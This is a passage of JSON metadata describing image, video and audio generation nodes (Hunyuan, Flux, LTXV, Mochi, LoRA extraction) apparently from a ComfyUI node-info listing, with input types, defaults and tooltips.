"input_order": {"required": ["positive", "vae", "width", "height", "length", "batch_size", "guidance_type"], "optional": ["start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "LATENT"], "output_is_list": [false, false], "output_name": ["positive", "latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HunyuanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHunyuanImageLatent": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 16384, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHunyuanImageLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/latent/hunyuan image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HunyuanRefinerLatent": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}], "noise_augmentation": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "latent", "noise_augmentation"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "HunyuanRefinerLatent", "display_name": "Hunyuan Latent Refiner", "description": "", "python_module": "comfy_extras.nodes_hunyuan", "category": "model/conditioning/hunyuan video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Epsilon Scaling": {"input": {"required": {"model": ["MODEL", {}], "scaling_factor": ["FLOAT", {"advanced": true, "default": 1.005, "min": 0.5, "max": 1.5, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "scaling_factor"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "Epsilon Scaling", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TemporalScoreRescaling": {"input": {"required": {"model": ["MODEL", {}], "tsr_k": ["FLOAT", {"tooltip": "Controls the rescaling strength.\nLower k produces more detailed results; higher k produces smoother results in image generation. Setting k = 1 disables rescaling.", "advanced": true, "default": 0.95, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}], "tsr_sigma": ["FLOAT", {"tooltip": "Controls how early rescaling takes effect.\nLarger values take effect earlier.", "advanced": true, "default": 1.0, "min": 0.01, "max": 100.0, "step": 0.001, "display": "number"}]}}, "input_order": {"required": ["model", "tsr_k", "tsr_sigma"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "TemporalScoreRescaling", "display_name": "TSR - Temporal Score Rescaling", "description": "[Post-CFG Function]\nTSR - Temporal Score Rescaling (2510.01184)\n\nRescaling the model's score or noise to steer the sampling diversity.\n", "python_module": "comfy_extras.nodes_eps", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeFlux": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["clip", "clip_l", "t5xxl", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeFlux", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "guidance": ["FLOAT", {"default": 3.5, "min": 0.0, "max": 100.0, "step": 0.1}]}}, "input_order": {"required": ["conditioning", "guidance"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxDisableGuidance": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxDisableGuidance", "display_name": null, "description": "This node completely disables the guidance embed on Flux and Flux like models", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextImageScale": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextImageScale", "display_name": null, "description": "This node resizes the image to one that is more optimal for flux kontext.", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKontextMultiReferenceLatentMethod": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "reference_latents_method": ["COMBO", {"advanced": true, "multiselect": false, "options": ["offset", "index", "uxo/uno", "index_timestep_zero"]}]}}, "input_order": {"required": ["conditioning", "reference_latents_method"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "FluxKontextMultiReferenceLatentMethod", "display_name": "Edit Model Reference Method", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/conditioning/flux", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyFlux2LatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 16}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyFlux2LatentImage", "display_name": "Empty Flux 2 Latent", "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/latent/flux", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Flux2Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 4096}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 1}]}}, "input_order": {"required": ["steps", "width", "height"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Flux2Scheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_flux", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FluxKVCache": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to use KV Cache on."}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": ["The patched model with KV Cache enabled."], "output_matchtypes": null, "name": "FluxKVCache", "display_name": "Flux KV Cache", "description": "Enables KV Cache optimization for reference images on Flux family models.", "python_module": "comfy_extras.nodes_flux", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraSave": {"input": {"required": {"filename_prefix": ["STRING", {"default": "loras/ComfyUI_extracted_lora", "multiline": false}], "rank": ["INT", {"advanced": true, "default": 8, "min": 1, "max": 4096, "step": 1}], "lora_type": ["COMBO", {"advanced": true, "multiselect": false, "options": ["standard", "full_diff"]}], "bias_diff": ["BOOLEAN", {"advanced": true, "default": true}]}, "optional": {"model_diff": ["MODEL", {"tooltip": "The ModelSubtract output to be converted to a lora."}], "text_encoder_diff": ["CLIP", {"tooltip": "The CLIPSubtract output to be converted to a lora."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["filename_prefix", "rank", "lora_type", "bias_diff"], "optional": ["model_diff", "text_encoder_diff"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LoraSave", "display_name": "Extract and Save Lora", "description": "", "python_module": "comfy_extras.nodes_lora_extract", "category": "experimental", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "TorchCompileModel": {"input": {"required": {"model": ["MODEL", {}], "backend": ["COMBO", {"advanced": true, "multiselect": false, "options": ["inductor", "cudagraphs"]}]}}, "input_order": {"required": ["model", "backend"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "TorchCompileModel", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_torch_compile", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyMochiLatentVideo": {"input": {"required": {"width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 25, "min": 7, "max": 16384, "step": 6}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyMochiLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_mochi", "category": "model/latent/mochi", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiT": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 10.0, "step": 0.1}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.01, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.15, "min": 0.0, "max": 1.0, "step": 0.001}], "rescaling_scale": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "scale", "start_percent", "end_percent", "rescaling_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiT", "display_name": null, "description": "Generic version of SkipLayerGuidance node that can be used on every DiT model.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SkipLayerGuidanceDiTSimple": {"input": {"required": {"model": ["MODEL", {}], "double_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "single_layers": ["STRING", {"advanced": true, "default": "7, 8, 9", "multiline": false}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["model", "double_layers", "single_layers", "start_percent", "end_percent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "SkipLayerGuidanceDiTSimple", "display_name": null, "description": "Simple version of the SkipLayerGuidanceDiT node that only modifies the uncond pass.", "python_module": "comfy_extras.nodes_slg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Mahiro": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "Mahiro", "display_name": "Positive-Biased Guidance", "description": "Modify the guidance to scale more on the 'direction' of the positive prompt rather than the difference between the negative prompt.", "python_module": "comfy_extras.nodes_mahiro", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mahiro", "mahiro cfg", "similarity-adaptive guidance", "positive-biased cfg"], "essentials_category": null, "has_intermediate_output": false}, "LTXVLatentUpsampler": {"input": {"required": {"samples": ["LATENT", {}], "upscale_model": ["LATENT_UPSCALE_MODEL", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["samples", "upscale_model", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVLatentUpsampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt_upsampler", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAELoader": {"input": {"required": {"ckpt_name": ["COMBO", {"tooltip": "Audio VAE checkpoint to load.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["Audio VAE"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAELoader", "display_name": "Load LTXV Audio VAE", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEEncode": {"input": {"required": {"audio": ["AUDIO", {"tooltip": "The audio to be encoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to use for encoding."}]}}, "input_order": {"required": ["audio", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Audio Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEEncode", "display_name": "LTXV Audio VAE Encode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVAudioVAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "audio_vae"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["Audio"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVAudioVAEDecode", "display_name": "LTXV Audio VAE Decode", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVEmptyLatentAudio": {"input": {"required": {"frames_number": ["INT", {"tooltip": "Number of frames.", "default": 97, "min": 1, "max": 1000, "step": 1, "display": "number"}], "frame_rate": ["INT", {"tooltip": "Number of frames per second.", "default": 25, "min": 1, "max": 1000, "step": 1, "display": "number"}], "batch_size": ["INT", {"tooltip": "The number of latent audio samples in the batch.", "default": 1, "min": 1, "max": 4096, "display": "number"}], "audio_vae": ["VAE", {"display_name": "Audio VAE", "tooltip": "The Audio VAE model to get configuration from."}]}}, "input_order": {"required": ["frames_number", "frame_rate", "batch_size", "audio_vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["Latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVEmptyLatentAudio", "display_name": "LTXV Empty Latent Audio", "description": "", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXAVTextEncoderLoader": {"input": {"required": {"text_encoder": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "ckpt_name": ["COMBO", {"multiselect": false, "options": []}], "device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["default", "cpu"]}]}}, "input_order": {"required": ["text_encoder", "ckpt_name", "device"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXAVTextEncoderLoader", "display_name": "Load LTXV Audio Text Encoder", "description": "Recipes:\nltxav: gemma 3 12B", "python_module": "comfy_extras.nodes_lt_audio", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLTXVLatentVideo": {"input": {"required": {"width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLTXVLatentVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "image": ["IMAGE", {}], "width": ["INT", {"default": 768, "min": 64, "max": 16384, "step": 32}], "height": ["INT", {"default": 512, "min": 64, "max": 16384, "step": 32}], "length": ["INT", {"default": 97, "min": 9, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}]}}, "input_order": {"required": ["positive", "negative", "vae", "image", "width", "height", "length", "batch_size", "strength"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVImgToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVImgToVideoInplace": {"input": {"required": {"vae": ["VAE", {}], "image": ["IMAGE", {}], "latent": ["LATENT", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0}], "bypass": ["BOOLEAN", {"tooltip": "Bypass the conditioning.", "default": false}]}}, "input_order": {"required": ["vae", "image", "latent", "strength", "bypass"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVImgToVideoInplace", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingLTXV": {"input": {"required": {"model": ["MODEL", {}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["model", "max_shift", "base_shift"], "optional": ["latent"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "ModelSamplingLTXV", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/patch/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "frame_rate": ["FLOAT", {"default": 25.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}}, "input_order": {"required": ["positive", "negative", "frame_rate"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVScheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "max_shift": ["FLOAT", {"default": 2.05, "min": 0.0, "max": 100.0, "step": 0.01}], "base_shift": ["FLOAT", {"default": 0.95, "min": 0.0, "max": 100.0, "step": 0.01}], "stretch": ["BOOLEAN", {"tooltip": "Stretch the sigmas to be in the range [terminal, 1].", "advanced": true, "default": true}], "terminal": ["FLOAT", {"tooltip": "The terminal value of the sigmas after stretching.", "advanced": true, "default": 0.1, "min": 0.0, "max": 0.99, "step": 0.01}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["steps", "max_shift", "base_shift", "stretch", "terminal"], "optional": ["latent"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GetICLoRAParameters": {"input": {"required": {"iclora_model": ["MODEL", {"tooltip": "Direct output from a LoRA Loader for the specific IC-LoRA from which to extract the metadata."}]}}, "input_order": {"required": ["iclora_model"]}, "is_input_list": false, "output": ["IC_LORA_PARAMETERS"], "output_is_list": [false], "output_name": ["iclora_parameters"], "output_tooltips": ["IC-LoRA parameters extracted from the LoRA metadata (eg. reference_downscale_factor). Connect to LTXVAddGuide if the LoRA requires special handling of the guides."], "output_matchtypes": null, "name": "GetICLoRAParameters", "display_name": "Get IC-LoRA Parameters", "description": "Extracts IC-LoRA parameters from the safetensors metadata of a LoRA-loaded model and outputs them for LTXVAddGuide (eg. reference_downscale_factor).", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["ic-lora", "ic lora", "iclora", "downscale factor", "reference downscale"], "essentials_category": null, "has_intermediate_output": false}, "LTXVAddGuide": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "latent": ["LATENT", {}], "image": ["IMAGE", {"tooltip": "Image or video to condition the latent video on. Must be 8*n + 1 frames. If the video is not 8*n + 1 frames, it will be cropped to the nearest 8*n + 1 frames."}], "frame_idx": ["INT", {"tooltip": "Frame index to start the conditioning at. For single-frame images or videos with 1-8 frames, any frame_idx value is acceptable. For videos with 9+ frames, frame_idx must be divisible by 8, otherwise it will be rounded down to the nearest multiple of 8. Negative values are counted from the end of the video.", "default": 0, "min": -9999, "max": 9999}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}, "optional": {"attention_mask": ["MASK", {"tooltip": "Optional pixel-space spatial mask. Controls per-region conditioning influence via self-attention, multiplied by strength."}], "iclora_parameters": ["IC_LORA_PARAMETERS", {"tooltip": "Optional IC-LoRA parameters from a Get IC-LoRA Parameters node. Used for adjusting guide processing as required by certain IC-LoRAs (eg. those with a reference_downscale_factor > 1). When chained, each LTXVAddGuide uses only the parameters connected to it."}]}}, "input_order": {"required": ["positive", "negative", "vae", "latent", "image", "frame_idx", "strength"], "optional": ["attention_mask", "iclora_parameters"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVAddGuide", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVPreprocess": {"input": {"required": {"image": ["IMAGE", {}], "img_compression": ["INT", {"tooltip": "Amount of compression to apply on image.", "default": 35, "min": 0, "max": 100}]}}, "input_order": {"required": ["image", "img_compression"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["output_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVPreprocess", "display_name": "LTXV Preprocess", "description": "", "python_module": "comfy_extras.nodes_lt", "category": "video/preprocessors", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVCropGuides": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "latent": ["LATENT", {}]}}, "input_order": {"required": ["positive", "negative", "latent"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "LTXVCropGuides", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/conditioning/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVConcatAVLatent": {"input": {"required": {"video_latent": ["LATENT", {}], "audio_latent": ["LATENT", {}]}}, "input_order": {"required": ["video_latent", "audio_latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["latent"], "output_tooltips": [null], "output_matchtypes": null, "name": "LTXVConcatAVLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVSeparateAVLatent": {"input": {"required": {"av_latent": ["LATENT", {}]}}, "input_order": {"required": ["av_latent"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["video_latent", "audio_latent"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "LTXVSeparateAVLatent", "display_name": null, "description": "LTXV Separate AV Latent", "python_module": "comfy_extras.nodes_lt", "category": "model/latent/ltxv", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LTXVReferenceAudio": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": 